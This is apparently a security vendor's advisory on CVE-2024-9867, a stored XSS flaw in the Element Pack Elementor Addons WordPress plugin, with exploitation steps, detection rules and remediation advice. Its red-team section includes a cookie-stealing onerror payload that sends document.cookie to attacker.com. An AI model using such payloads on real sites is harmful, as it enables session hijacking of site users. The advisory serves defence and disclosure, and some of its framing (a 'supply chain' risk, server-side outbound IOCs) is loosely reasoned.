CVE-2024-9867

Executive Summary

CVE-2024-9867 is a Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Elementor Addons plugin for WordPress, affecting all versions up to and including 5.10.2. The flaw resides in the Open Map Widget's marker_content parameter, which fails to properly sanitize user input and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When an administrator or other user views a page containing the malicious widget, the injected script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is widely used for building dynamic content with Elementor, making this a significant supply chain risk for WordPress sites.

Supply Chain & Package Security

• Ecosystem: WordPress Plugin Repository (SVN-based, not NPM/PyPI/Go/Ruby).
• Risk: The plugin is distributed via the official WordPress plugin directory. Users who auto-update may still be vulnerable if the patch is not yet released. The lack of a patch increases the risk of supply chain attacks via compromised plugin updates or direct exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for any authenticated user with Contributor access to inject persistent scripts makes this a serious threat for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the Open Map Widget of the Element Pack Elementor Addons plugin. The widget allows users to add markers to a map, each with a marker_content parameter that can contain HTML. The plugin fails to sanitize this input and does not escape the output when rendering the marker content on the frontend.

Attack Flow:

1. An attacker with Contributor-level access (or higher) creates or edits a page/post using Elementor.
2. The attacker adds the Open Map Widget and sets a marker with malicious JavaScript in the marker_content parameter.
3. The plugin stores the malicious content in the WordPress database without sanitization.
4. When any user (including administrators) visits the page, the malicious script executes in their browser.

Root Cause: Insufficient input sanitization and output escaping in the marker_content parameter. The plugin likely uses echo or print without esc_html() or wp_kses().

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (hypothetical)
$marker_content = get_post_meta( $post_id, 'marker_content', true );
echo '<div class="marker-content">' . $marker_content . '</div>';

A patched version would use proper escaping:

// Patched code (hypothetical)
$marker_content = get_post_meta( $post_id, 'marker_content', true );
echo '<div class="marker-content">' . esc_html( $marker_content ) . '</div>';

Or use wp_kses() to allow only safe HTML tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Element Pack Elementor Addons <= 5.10.2
• Authenticated user with Contributor-level access or higher

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add the Open Map Widget to the page.
4. In the widget settings, add a marker and set the marker_content parameter to:

   <script>alert('XSS')</script>
   

5. Save/publish the page.
6. When an administrator or any user visits the page, the script executes.

Advanced Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual marker_content values in the wp_postmeta table.
• Look for pages containing <script> tags or event handlers in map widget content.

Prevention:

• Disable the Open Map Widget until a patch is released.
• Restrict Contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/bdthemes-element-pack-lite/ (presence of the plugin)
• Database: Entries in wp_postmeta with meta_key containing marker_content and meta_value containing <script> or event handlers.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug logs showing unexpected HTML/JavaScript in widget content.

Detection Engineering

YARA Rule

rule CVE_2024_9867_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Element Pack Elementor Addons marker_content"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2024-9867"
    strings:
        $marker_content = /marker_content[^>]*>[^<]*<script/i
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["']/i
    condition:
        $marker_content and ($xss_payload or $event_handler)
}

Sigma Rule

title: Stored XSS via Element Pack Elementor Addons Open Map Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via marker_content parameter in Element Pack Elementor Addons
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "marker_content"
        http.body|contains: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in marker content (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9867 Stored XSS in Element Pack Elementor Addons"; flow:to_server,established; content:"marker_content"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if the Open Map Widget is not essential.
2. Restrict user roles: Remove Contributor-level access from untrusted users.
3. Apply virtual patching: Use a WAF to block requests containing marker_content with <script> tags.

Long-term Fix:

• Wait for the vendor (Bdthemes) to release a patched version (> 5.10.2).
• Once available, update the plugin immediately.
• Consider replacing the plugin with an alternative that has better security practices.

Workaround:

• Edit the plugin code to add esc_html() around marker_content output (not recommended for non-developers).

Valters IT
Securing Digital Frontiers